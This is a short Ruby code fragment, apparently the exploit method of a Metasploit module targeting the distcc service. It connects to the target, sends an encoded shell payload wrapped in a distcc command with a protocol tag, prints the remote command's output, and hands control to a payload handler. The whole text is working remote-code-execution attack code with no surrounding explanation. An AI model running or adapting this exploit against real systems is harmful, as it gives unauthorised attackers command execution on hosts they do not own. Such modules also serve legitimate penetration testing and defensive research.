def exploit
    connect

    distcmd = dist_cmd("sh", "-c", payload.encoded);
    sock.put(distcmd)

    dtag = rand_text_alphanumeric(10)
    sock.put("DOTI0000000A#{dtag}\n")

    err, out = read_output

    (err || "").split("\n") do |line|
      print_status("stderr: #{line}")
    end
    (out || "").split("\n") do |line|
      print_status("stdout: #{line}")
    end

    handler
    disconnect
  end